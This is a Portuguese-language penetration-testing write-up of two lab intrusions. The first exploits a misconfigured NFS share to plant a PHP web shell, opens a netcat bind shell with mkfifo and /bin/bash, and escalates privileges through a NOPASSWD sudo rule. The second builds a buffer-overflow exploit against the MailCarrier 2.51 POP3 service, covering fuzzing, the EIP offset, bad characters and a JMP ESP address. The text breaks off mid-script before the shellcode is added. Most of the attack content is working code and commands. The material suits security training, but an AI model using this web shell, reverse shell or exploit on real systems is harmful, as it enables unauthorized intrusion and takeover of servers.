Exemplos de invasão
Exploração via NFS e Escalação de Privilégios
Este relatório documenta um ataque completo que explora:
- Um compartilhamento NFS mal configurado
- Uma vulnerabilidade de Injeção de Comandos em aplicação web
- Má configuração de privilégios sudo
O sistema alvo é um servidor Ubuntu 22.04.2 LTS com kernel 5.15.0-76-generic
, essas informações foram encontradas após explorar a falha do NFS.
Fase de Reconhecimento
Primeiro é executado um comando para reconhecer as portas e serviços abertos, com isso foi possível identificar que existe um Apache e processos do NFS em execução. Devemos então identificar compartilhamentos NFS acessíveis:
nmap -p 111,2049 --script nfs-ls,nfs-showmount,nfs-statfs 192.168.40.215
O comando acima descobriu o compartilhamento /var/www/html/pluck/data/modules/images
. Compartilhamento NFS sem restrições permite montagem e escrita por qualquer usuário.
Para saber quais diretórios estão acessíveis no web server, podemos executar o comnaod abaixo:
dirb http://192.168.40.215 /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
Exploração Inicial
Vamos montar o compartilhamento remotamente para manipulação de arquivos.
sudo mount -t nfs 192.168.40.215:/var/www/html/pluck/data/modules/images /mnt
Agora vamos criar um Backdoor Web usando HTML, vamos criar uma interface web que executa comandos arbitrários no servidor. Como foi identificado que alguns tipos de extensão são removidas assim que criadas, a extensão .phtml
não foi, então vamos usar ela:
vim /mnt/index.phtml
# Código Inserido:
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
if(isset($_GET['cmd'])) {
system($_GET['cmd']); // Vulnerabilidade de RCE
}
?>
</pre>
</body>
<script>document.getElementById("cmd").focus();</script>
</html>
Para criar esses códigos de Shell Reverso podemos usar o site revshells.
Agora, na máquina atacante, acesse o Apache da máquina alvo na seguinte url: http://192.168.40.215/pluck/data/modules/images/
. Após abrir, clique no arquivo que criamos, o index.phtml
, será aberto um shell no html.
Shell Reverso
No servidor vulnerável (via interface web) vamos usar o Pipe nomeado + netcat para shell reverso persistente, isso faz com que a máquina alvo fique ouvindo em todas as interfaces na porta 9001 (é bom usar portas menos chamativas).
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc -l 0.0.0.0 9001 > /tmp/f
Agora, na máquina atacante vamos nos conectar na porta aberta pela máquina alvo:
nc 192.168.40.215 9001
Isso vai abrir uma Sessão como usuário www-data
.
Enumeração Pós-Exploração
Agora devemos tentar escalar privilégio. Para isso podemos seguir um passo a passo do site book.hacktricks.wiki. Usando o comando sudo -l
observamos uma falha no sudoers, isso é proposital para nosso ambiente de treinamento.
sudo -l
User www-data may run the following commands on jangow:
(root) NOPASSWD: /usr/bin/su jangow
Escalação de Privilégios
O acesso como usuário jangow
(pertencente ao grupo sudo) é permitido e podemos mudar de usuário como informado na mensagem acima:
sudo /usr/bin/su jangow
Podemos confirmar o usuário que estamos logados agora:
id
uid=1000(jangow) gid=1000(jangow) groups=1000(jangow),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd)
Análise de Vulnerabilidades
NFS Mal Configurado:
- Compartilhamento sem restrição de montagem
- Permissões de escrita globais
Injeção de Comandos:
- Função
system()
com entrada não sanitizada - Arquivo PHP acessível via web
- Função
Privilégios Sudo Inseguros:
- Permissão
NOPASSWD
para comando crítico (su
)
- Permissão
Exploração via Buffer Overflow
Este relatório documenta um ataque completo que explora:
- Um software vulnerável a ataque do tipo Buffer Overflow
Enumeração
Identificar vulnerabilidades em serviços expostos, analisando portas abertas, banners, versões e comportamentos que possam ser explorados para obter acesso não autorizado ou escalar privilégios.
$ sudo nmap -sS -sV -sC -p- 192.168.56.104 --min-rate=10000
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-19 16:33 EDT
Warning: 192.168.56.104 giving up on port because retransmission cap hit (10).
Nmap scan report for 192.168.56.104
Host is up (0.00014s latency).
Not shown: 65509 closed tcp ports (reset)
PORT STATE SERVICE VERSION
25/tcp open smtp
| fingerprint-strings:
| GenericLines, Help:
| 503 Bad sequence of commands. You must confirm greeting message from SMTP server.
| ESMTP TABS Mail Server for Windows NT
| GetRequest:
| 220 ESMTP TABS Mail Server for Windows NT
| Command parameter not implemented
| Hello:
| 220 ESMTP TABS Mail Server for Windows NT
| Invalid Client domain
| NULL:
|_ 220 ESMTP TABS Mail Server for Windows NT
| smtp-commands: TABS Mail Server. Hello nmap.scanme.org, pleased to meet you., AUTH LOGIN CRAM-MD5, HELP
|_ This is TABS Mail Server(MailCarrier) Topics: HELO EHLO MAIL RCPT DATA RSET NOOP QUIT HELP AUTH STARTTLS For more info use "HELP <topic>". To report bugs in the implementation send email to help@tabslab.com End of HELP info
110/tcp open pop3
| fingerprint-strings:
| GenericLines:
| +OK <2044.1747686857@RICYCDS1W>, TABS Lab POP3 server ready.
| -ERR Command unrecognized.
| HTTPOptions:
| -ERR Incorrect command sequence. You must confirm greeting message from POP3 server.
| <2044.1747686868@RICYCDS1W>, TABS Lab POP3 server ready.
| NULL:
|_ +OK <2044.1747686857@RICYCDS1W>, TABS Lab POP3 server ready.
| pop3-ntlm-info:
| Target_Name: RICYCDS1W
| NetBIOS_Domain_Name: RICYCDS1W
| NetBIOS_Computer_Name: RICYCDS1W
| DNS_Domain_Name: RicycDS1w
| DNS_Computer_Name: RicycDS1w
|_ Product_Version: 6.1.7600
|_pop3-capabilities: ERROR: Script execution failed (use -d to debug)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows 7 Professional 7600 microsoft-ds (workgroup: WORKGROUP)
5357/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Service Unavailable
8884/tcp filtered unknown
11978/tcp filtered unknown
19961/tcp filtered unknown
28450/tcp filtered unknown
31109/tcp filtered unknown
34039/tcp filtered unknown
35611/tcp filtered unknown
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49156/tcp open msrpc Microsoft Windows RPC
49157/tcp open msrpc Microsoft Windows RPC
55518/tcp filtered unknown
56120/tcp filtered unknown
56297/tcp filtered unknown
59350/tcp filtered unknown
60994/tcp filtered unknown
62683/tcp filtered unknown
63440/tcp filtered unknown
2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port25-TCP:V=7.95%I=7%D=5/19%Time=682B95CD%P=x86_64-pc-linux-gnu%r(NULL
SF:,2B,"220\x20ESMTP\x20TABS\x20Mail\x20Server\x20for\x20Windows\x20NT\r\n
SF:")%r(Hello,46,"220\x20ESMTP\x20TABS\x20Mail\x20Server\x20for\x20Windows
SF:\x20NT\r\n501\x20Invalid\x20Client\x20domain\r\n")%r(Help,7E,"503\x20Ba
SF:d\x20sequence\x20of\x20commands\.\x20You\x20must\x20confirm\x20greeting
SF:\x20message\x20from\x20SMTP\x20server\.\r\n220\x20ESMTP\x20TABS\x20Mail
SF:\x20Server\x20for\x20Windows\x20NT\r\n")%r(GenericLines,7E,"503\x20Bad\
SF:x20sequence\x20of\x20commands\.\x20You\x20must\x20confirm\x20greeting\x
SF:20message\x20from\x20SMTP\x20server\.\r\n220\x20ESMTP\x20TABS\x20Mail\x
SF:20Server\x20for\x20Windows\x20NT\r\n")%r(GetRequest,52,"220\x20ESMTP\x2
SF:0TABS\x20Mail\x20Server\x20for\x20Windows\x20NT\r\n504\x20Command\x20pa
SF:rameter\x20not\x20implemented\r\n");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port110-TCP:V=7.95%I=7%D=5/19%Time=682B95CD%P=x86_64-pc-linux-gnu%r(NUL
SF:L,3E,"\+OK\x20<2044\.1747686857@RICYCDS1W>,\x20TABS\x20Lab\x20POP3\x20s
SF:erver\x20ready\.\r\n")%r(GenericLines,5A,"\+OK\x20<2044\.1747686857@RIC
SF:YCDS1W>,\x20TABS\x20Lab\x20POP3\x20server\x20ready\.\r\n-ERR\x20Command
SF:\x20unrecognized\.\r\n")%r(HTTPOptions,94,"-ERR\x20Incorrect\x20command
SF:\x20sequence\.\x20You\x20must\x20confirm\x20greeting\x20message\x20from
SF:\x20POP3\x20server\.\r\n\+OK\x20<2044\.1747686868@RICYCDS1W>,\x20TABS\x
SF:20Lab\x20POP3\x20server\x20ready\.\r\n");
MAC Address: 08:00:27:C1:DB:92 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: Host: RICYCDS1W; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 2:1:0:
|_ Message signing enabled but not required
|_clock-skew: mean: 45m01s, deviation: 1h30m00s, median: 1s
| smb-os-discovery:
| OS: Windows 7 Professional 7600 (Windows 7 Professional 6.1)
| OS CPE: cpe:/o:microsoft:windows_7::-:professional
| Computer name: RicycDS1w
| NetBIOS computer name: RICYCDS1W\x00
| Workgroup: WORKGROUP\x00
|_ System time: 2025-05-19T17:35:16-03:00
|_nbstat: NetBIOS name: RICYCDS1W, NetBIOS user: <unknown>, NetBIOS MAC: 08:00:27:c1:db:92 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
| smb2-time:
| date: 2025-05-19T20:35:16
|_ start_date: 2025-05-19T20:09:48
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 91.29 seconds
Após indentificar um serviço de email sendo executado na porta 110 (pop3) como TABS Lab POP3, procuro por CVE conhecidas usando ferramentas como msfconsole
e Google.
msfconsole
msf6 > search mailcarrier
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/windows/smtp/mailcarrier_smtp_ehlo 2004-10-26 good Yes TABS MailCarrier v2.51 SMTP EHLO Overflow
1 \_ target: Windows 2000 SP0 - XP SP1 - EN/FR/GR . . . .
2 \_ target: Windows XP SP2 - EN . . . .
Fuzzing e Crash
Um script de fuzzing foi executado em ambiente isolado com o objetivo de provocar o travamento da aplicação, utilizando especificamente a mesma versão identificada no servidor durante a fase de enumeração. Essa etapa teve como finalidade validar a presença de uma possível vulnerabilidade de Buffer Overflow.
#!/usr/bin/python
import socket,time
fuzz = ""
while True:
fuzz += "A" * 200
print("Enviando {} bytes para tentar quebrar a aplicacao".format(len(fuzz)))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect(("IP", 110))
s.recv(1024)
s.send(b"USER " + fuzz.encode() + b"\r\n")
print (s.recv(1024))
s.send(b"QUIT\r\n")
s.close()
time.sleep(1)
Exploração
Durante a fase de exploração, foi utilizado o Immunity Debugger com o plugin Mona.py para analisar o comportamento da aplicação em ambiente de teste. Com o auxílio do Mona, foram identificados os registradores e o controle do ponteiro de instrução (EIP), permitindo localizar instruções como JMP ESP
em módulos confiáveis (sem ASLR e sem proteção de execução).
Com essas informações, foi possível construir um payload funcional contendo um shell reverso, gerado com o msfvenom
. O exploit foi montado com o offset correto até o EIP, seguido pelo endereço de redirecionamento (JMP ESP
), um NOP sled e o shellcode. Esse payload, ao ser enviado para a aplicação vulnerável, resultou em execução remota de código com retorno da conexão para a máquina de ataque.
Payload inicial
Para iniciar o processo de exploração, foi utilizado o script pattern_create.rb
para gerar uma cadeia única de 5600 bytes, essa quantidade é propositalmente maior do que o tamanho que causou o crash durante o fuzzing, o objetivo de provocar o travamento da aplicação e permitir a identificação precisa do ponto de controle do EIP. Esse EPI é um registrador da arquitetura x86 responsável por indicar o endereço da próxima instrução a ser executada pela CPU.
Em ataques de Buffer Overflow, o objetivo é sobrescrever o valor do EIP com um endereço que aponte para o shellcode (código malicioso). Se o atacante conseguir controlar o EIP, ele pode redirecionar a execução do programa para qualquer lugar que quiser, geralmente para o próprio payload.
A cadeia gerada é inserida como payload no campo vulnerável do serviço. Após o crash, o valor sobrescrito no registrador EIP é analisado no Immunity Debugger. Esse valor é então utilizado com o script pattern_offset.rb
para calcular o offset, ou seja, a posição exata na cadeia de caracteres onde ocorre a sobrescrita do EIP.
Offset é a quantidade de bytes entre o início do buffer e o momento em que o EIP é sobrescrito. Conhecer esse valor é essencial para posicionar corretamente o endereço de redirecionamento (
JMP ESP
) e, em seguida, injetar o shellcode de forma controlada.
Essa etapa é crucial para transformar o crash em uma exploração controlada, garantindo que o código malicioso seja executado de forma confiável.
$ /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 5600
import socket
ip = "192.168.56.105"
port = 110
timeout = 5
offset = 0
overflow = b"A" * offset
retn = b""
padding = b""
payload = b"Aa0Aa1Aa2...."
buffer = overflow + retn + padding + payload
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(timeout)
s.connect((ip, port))
print("[+] Conectado ao servidor!")
s.recv(1024)
s.send(b'USER ' + buffer + b'\r\n')
s.recv(1024)
s.send(b"QUIT\r\n")
s.close()
except Exception as e:
print("[-] Erro ao enviar o payload:", e)
Maquina de teste
Antes de executar o exploit no ambiente real, foi utilizada uma máquina de testes com a mesma versão da aplicação vulnerável (MailCarrier 2.51) para validar o comportamento da falha de Buffer Overflow de forma controlada e segura.
Immunity Debugger
O Immunity Debugger é uma ferramenta de depuração para Windows que permite monitorar a execução de programas em tempo real, inspecionar registradores, visualizar a pilha de memória e identificar pontos de falha. É essencial para localizar o controle do EIP e validar a execução do payload durante a criação de exploits.
Mona.py é um plugin desenvolvido para o Immunity Debugger que automatiza e facilita diversas tarefas durante a análise de vulnerabilidades, especialmente em exploits de Buffer Overflow.
Criação do Payload
Devido à complexidade e extensão do processo de exploração, esta seção não apresenta capturas de tela. No entanto, todo o procedimento será descrito de forma detalhada, incluindo os comandos utilizados, etapas seguidas e comportamentos observados durante a análise. Isso garante a clareza técnica necessária para compreender a exploração mesmo sem evidências visuais.
Vamos executar o script desmontrado na etapda de Payload inicial para travar a aplicação enquanto estamos analisando ela no Immunity Debugger.
$ python3 exploit.py
[+] Conectado ao servidor!
[-] Erro ao enviar o payload: timed out
Na tela do immunity, na parte de registradores, podemos ver o seguinte:
.
.
.
EBX 009B3480 ASCII "192.168.56.103"
ESP 06EFEE18 ASCII "Gn9Go0Go1Go2Go3Go4Go5Go6Go7Go8Go9Gp0Gp1Gp2Gp3Gp4Gp5Gp6Gp7Gp8Gp9Gq0Gq1Gq2Gq3Gq4Gq5Gq6Gq7Gq8Gq9Gr0Gr1Gr2Gr3Gr4Gr5Gr6Gr7Gr8Gr9Gs0Gs1Gs2Gs3Gs4Gs5Gs6Gs7Gs8Gs9Gt0Gt1Gt2Gt3Gt4Gt5Gt6Gt7Gt8Gt9Gu0Gu1Gu2Gu3Gu4Gu5Gu6Gu7Gu8Gu9Gv0Gv1Gv2Gv3Gv4Gv5Gv6
EBP 009B3438
ESI 00815CD8 ASCII "LDB"
EDI 06EFEE48 ASCII "Gp5Gp6Gp7Gp8Gp9Gq0Gq1Gq2Gq3Gq4Gq5Gq6Gq7Gq8Gq9Gr0Gr1Gr2Gr3Gr4Gr5Gr6Gr7Gr8Gr9Gs0Gs1Gs2Gs3Gs4Gs5Gs6Gs7Gs8Gs9Gt0Gt1Gt2Gt3Gt4Gt5Gt6Gt7Gt8Gt9Gu0Gu1Gu2Gu3Gu4Gu5Gu6Gu7Gu8Gu9Gv0Gv1Gv2Gv3Gv4Gv5Gv6Gv7Gv8Gv9Gw0Gw1Gw2Gw3Gw4Gw5Gw6Gw7Gw8Gw9Gx0Gx1Gx2
EIP 386E4737
.
.
.
Offset
Agora precisamos descobrir quantos caracteres existem antes do EIP (386E4737) ser sobrescrito. Esse valor é conhecido como offset, e representa a quantidade exata de bytes necessários para alcançar o registrador EIP no buffer.
Primeiro, comece configurando o diretório de trabalho do Mona:
!mona config -set workingfolder c:\mona\%p
Depois podemos apagar a linha acima e colocar o comando abaixo. Ele faz com que o Mona analise até 5600 bytes de dados na memória (que é o tamanho da string enviada no payload de teste), e nos mostre o offset exato onde o EIP foi sobrescrito.
Essa informação é fundamental para criarmos um exploit confiável, posicionando corretamente o endereço de redirecionamento (como um JMP ESP
) e, em seguida, o shellcode.
!mona findmsp -distance 5600
O comando abre um janela e lá podemos ver o seguinte:
0BADF00D [+] Looking for cyclic pattern in memory
0BADF00D Cyclic pattern (normal) found at 0x06efda2f (length 5600 bytes)
0BADF00D Cyclic pattern (normal) found at 0x06eff3c8 (length 255 bytes)
0BADF00D - Stack pivot between 1456 & 1711 bytes needed to land in this pattern
0BADF00D Cyclic pattern (normal) found at 0x003e0005 (length 5600 bytes)
0BADF00D [+] Examining registers
0BADF00D EIP contains normal pattern : 0x386e4737 (offset 5093)
0BADF00D ESP (0x06efee18) points at offset 5097 in normal pattern (length 503)
O offset do EIP é 5093
Agora vamos ajustar o offset no script exploit.py
e vamos apagar o payload atual e substituir por uma estrutura que nos permite verificar se temos controle total do EIP. No campo retn
, colocaremos 4 letras "B" (\x42
em hexadecimal), representando os 4 bytes que sobrescrevem o EIP. Isso serve para confirmar que conseguimos controlar o fluxo de execução.
O script modificado deverá ser o seguinte:
import socket
ip = "192.168.56.105"
port = 110
timeout = 5
offset = 5093
overflow = b"A" * offset
retn = b"BBBB"
padding = b""
payload = b"CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC"
buffer = overflow + retn + padding + payload
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(timeout)
s.connect((ip, port))
print("[+] Conectado ao servidor!")
s.recv(1024)
s.send(b'USER ' + buffer + b'\r\n')
s.recv(1024)
s.send(b"QUIT\r\n")
s.close()
except Exception as e:
print("[-] Erro ao enviar o payload:", e)
Antes de executar o exploit.py
devo reiniciar a aplicação porque ela travou e então recarregar novamente no Immunity!
Ao executar o exploit com esse novo payload, o valor do EIP deverá ser sobrescrito por 42424242
(que representa "BBBB" em ASCII). Se isso acontecer, significa que o cálculo do offset está correto e temos total controle sobre o EIP.
Execute o script acima para travar a aplicação enquanto estamos analisando ela no Immunity Debugger.
$ python3 exploit.py
[+] Conectado ao servidor!
[-] Erro ao enviar o payload: timed out
Na tela do immunity, na parte de registradores, podemos ver o seguinte:
EBX 009C9D08 ASCII "192.168.56.103"
ESP 06C6EE18 ASCII "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
"
EBP 009C9CC0
ESI 009C5CD8 ASCII "LDB"
EDI 06C6EE48 ASCII "CCCCCCCCCCCCC
"
EIP 42424242
.
.
.
Com EIP = 42424242, isso confirma que o cálculo do offset está correto e que o exploit atingiu controle total sobre o fluxo de execução da aplicação. Agora podemos prosseguir para a inserção do endereço de redirecionamento (JMP ESP
) e, posteriormente, do shellcode.
Antes de prosseguir devemos reiniciar a aplicação porque ela travou e então recarregar novamente no Immunity!
Bad chars
Agora devemos eliminar os badchars para garantir que o shellcode seja executado corretamente quando injetado na memória durante a exploração. Ou seja, devemos garantir que que o shellcode não contenha caracteres que possam ser interpretados de forma incorreta pela aplicação vulnerável ou pelo protocolo envolvido.
Com a aplicação rodando, execute o seguinte comando no Immunity para gerar uma sequência de todos os 256 bytes possíveis (de \x00
a \xFF
) que será usada para identificar quais badchars são corrompidos ou alterados na memória durante a exploração.
!mona bytearray
O arquivo com esses caracteres fica em c:\mona\%p\bytearray
(%p é o nome do serviço, no meu caso é pop3
). Esses caracteres devem ser colocados no payload para que possamos enviar e comparar a sequência original com o que realmente chega à memória da aplicação após o crash. Com isso, conseguimos identificar quais bytes foram corrompidos, truncados ou modificados durante o envio, ou seja, determinar os badchars específicos da aplicação.
O script alterado fica assim:
import socket
ip = "192.168.56.105"
port = 110
timeout = 5
offset = 5093
overflow = b"A" * offset
retn = b"BBBB"
padding = b""
payload = b"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
buffer = overflow + retn + padding + payload
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(timeout)
s.connect((ip, port))
print("[+] Conectado ao servidor!")
s.recv(1024)
s.send(b'USER ' + buffer + b'\r\n')
s.recv(1024)
s.send(b"QUIT\r\n")
s.close()
except Exception as e:
print("[-] Erro ao enviar o payload:", e)
Antes de prosseguir devemos reiniciar a aplicação porque ela travou e então recarregar novamente no Immunity!
Execute o script acima para travar a aplicação enquanto estamos analisando ela no Immunity Debugger.
$ python3 exploit.py
[+] Conectado ao servidor!
[-] Erro ao enviar o payload: timed out
Na tela do immunity, na parte de registradores, podemos ver o seguinte:
.
.
.
ESP 0701EE18
.
.
.
Para fazer a comparação, no Immunity Debugger execute o seguinte comando, usando como base o endereço que está no ESP (não precisa reiniciar a aplicação):
!mona compare -f c:\mona\pop3\bytearray.bin -a 0701EE18
Podemos ver o seguinte na tela do Immunity:
mona Memory comparison results, item 0
Address=0x0701ee18
Status=Corruption after 1 bytes
Type=normal
Location=Stack
Esse resultado do Mona indica que houve corrupção nos dados enviados para a memória, e que isso ocorreu logo após o primeiro byte da sequência de teste (bytearray).
O primeiro byte é \x00
, vamos remover ele e fazer o teste novamente. Para refazer o arquivo com os caracteres usamos o comando abaixo (não precisa reiniciar a aplicação):
!mona bytearray -b "\x00"
Também devemos remover esse byte do nosso payload, para que ele fique exatamente igual ao arquivo salvo pelo Mona, basta remover \x00
da variável paylod
no script exploit.py
.
Antes de prosseguir devemos reiniciar a aplicação porque ela travou e então recarregar novamente no Immunity!
Execute o script acima para travar a aplicação enquanto estamos analisando ela no Immunity Debugger.
$ python3 exploit.py
[+] Conectado ao servidor!
[-] Erro ao enviar o payload: timed out
Na tela do immunity, na parte de registradores, podemos ver o seguinte:
.
.
.
ESP 06C6EE18
.
.
.
Para fazer a comparação, no Immunity Debugger execute o seguinte comando, usando como base o endereço que está no ESP (não precisa reiniciar a aplicação travada):
!mona compare -f c:\mona\pop3\bytearray.bin -a 06C6EE18
Podemos ver o seguinte na tela do Immunity:
mona Memory comparison results, item 0
Address=0x06c6ee18
Status=Unmodified
BadChars=
Type=normal
Location=Stack
Esse resultado significa que nenhum badchar foi identificado, ou seja, a sequência de bytes enviada no payload chegou intacta à memória. O endereço da memória (ESP = 0x06C6EE18) aponta corretamente para o início da bytearray, permitindo que o Mona compare os dados e confirme que nenhum byte foi modificado, truncado ou corrompido durante o envio.
Portanto, o único badchar que tinha era o \x00
.
ASLR e DEP
O ASLR (Address Space Layout Randomization) é uma técnica de segurança que randomiza os endereços de memória onde bibliotecas, pilha e outras áreas do processo são carregadas, dificultando previsibilidade para exploits.
Já o DEP (Data Execution Prevention) impede a execução de código em regiões de memória marcadas apenas para dados, como a pilha.
Juntas, essas proteções dificultam a execução de exploits de buffer overflow. Então precisamos verificar se essas técnicas são usadas, para isso execute o comando abaixo no Immunity (não precisa reiniciar a aplicação travada):
!mona modules
Podemos ver o seguinte na tela do Immunity:
.
.
.
0BADF00D ----------------------------------------------------------------------------------------------------------------------------------------------
0BADF00D Base | Top | Size | Rebase | SafeSEH | ASLR | CFG | NXCompat | OS Dll | Version, Modulename & Path, DLLCharacteristics
0BADF00D ----------------------------------------------------------------------------------------------------------------------------------------------
0BADF00D 0x002d0000 | 0x003a0000 | 0x000d0000 | True | False | False | False | False | False | -1.0- [LIBEAY32.dll] (C:\Program Files\Tabs\MailCarrier\2.0\LIBEAY32.dll) 0x0
0BADF00D 0x00400000 | 0x00433000 | 0x00033000 | False | False | False | False | False | False | 2.5.1.0 [pop3.exe] (C:\Program Files\Tabs\MailCarrier\2.0\pop3.exe) 0x0
0BADF00D 0x10000000 | 0x10014000 | 0x00014000 | False | False | False | False | False | False | 1.0.0.13 [libauth10.dll] (C:\Program Files\Tabs\MailCarrier\2.0\libauth10.dll) 0x0
0BADF00D 0x0f9a0000 | 0x0f9ab000 | 0x0000b000 | False | False | False | False | False | True | 6.1.9431 [VBAJET32.DLL] (C:\Windows\system32\VBAJET32.DLL) 0x0
0BADF00D 0x0f9c0000 | 0x0fa22000 | 0x00062000 | False | False | False | False | False | True | 6.0.9589 [expsrv.dll] (C:\Windows\system32\expsrv.dll) 0x0
0BADF00D -----------------------------------------------------------------------------------------------------------------------------------------
.
.
.
Deixei apenas as linhas onde ASLR
e NXCompat
são False
. Abaixo deixo mais limpo o resultado acima:
0x00400000 - [pop3.exe] ASLR: False | NXCompat: False
0x10000000 - [libauth10.dll] ASLR: False | NXCompat: False
0x002d0000 - [LIBEAY32.dll] ASLR: False | NXCompat: False
Esses módulos não possuem as proteções ativadas, o que significa que os endereços de instruções úteis como JMP ESP
serão fixos e reutilizáveis, facilitando a construção de um exploit.
Como podemos ver acima, o módulo pop3.exe
não possui proteções como ASLR e DEP ativadas, para nossa sorte, já que é exatamente esse o serviço que queremos explorar, isso vai facilitar o processo de injeção de código malicioso.
Jump Point
O Jump Point (JMP ESP) é uma instrução usada para redirecionar o fluxo de execução para o shellcode injetado na memória. Ele deve estar localizado em um módulo sem ASLR e sem DEP, para ter um endereço fixo.
Ao sobrescrever o EIP com o endereço dessa instrução, podemos controlar a execução do programa, redirecionando o fluxo de execução para executar o nosso shellcode.
Para procurar por instruções JMP ESP
nos módulos carregados, excluindo endereços que contenham o badchar \x00
, execute o comando abaixo no Immunity (não precisa reiniciar a aplicação travada):
!mona jmp -r esp -cpb "\x00"
Agora clique em Windows
-> Log Data
para abrir uma janela com o resultado do comando acima.
Podemos ver o seguinte na tela do Immunity:
.
.
.
0BADF00D [+] Writing results to c:\mona\pop3\jmp.txt
0BADF00D - Number of pointers of type 'push esp # ret 0x08' : 1
0BADF00D [+] Results :
0F9E24F9 0x0f9e24f9 : push esp # ret 0x08 | {PAGE_EXECUTE_READ} [expsrv.dll] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: True, v6.0.9589 (C:\Windows\system32\expsrv.dll), 0x0
0BADF00D Found a total of 1 pointers
.
.
.
Esse resultado significa que o Mona encontrou uma única instrução válida de redirecionamento de execução e que podemos usar. O ponteiro para ela é o endereço 0f9e24f9
:
0x0f9e24f9 : push esp # ret 0x08 | [expsrv.dll] ASLR: False
Vamos usar essa instrução como ponto de salto (jump point), para nossa sorte ela está localizada em um módulo sem ASLR e sem DEP, e ainda possui execução permitida (PAGE_EXECUTE_READ).
Portanto, o endereço 0x0f9e24f9
será utilizado para sobrescrever o EIP, redirecionando a execução diretamente para o shellcode.
Esse endereço (0f9e24f9) deve ser convertido para little endian para que possamos usa-lo no exploit e em seguida devemos colocar ele no script exploit.py
representado como uma sequência de bytes, tudo como valor da variável retn
. Para converter em little endian e representar em sequência de bytes, podemos usar o comando abaixo:
$ echo 0f9e24f9 | sed 's/../& /g' | awk '{for(i=NF;i>0;i--) printf "\\x"$i; print ""}'
\xf9\x24\x9e\x0f
Devemos colocar o resultado na variavel retn
, como podemos ver no script abaixo:
import socket
ip = "192.168.56.105"
port = 110
timeout = 5
offset = 5093
overflow = b"A" * offset
retn = b"\xf9\x24\x9e\x0f"
padding = b""
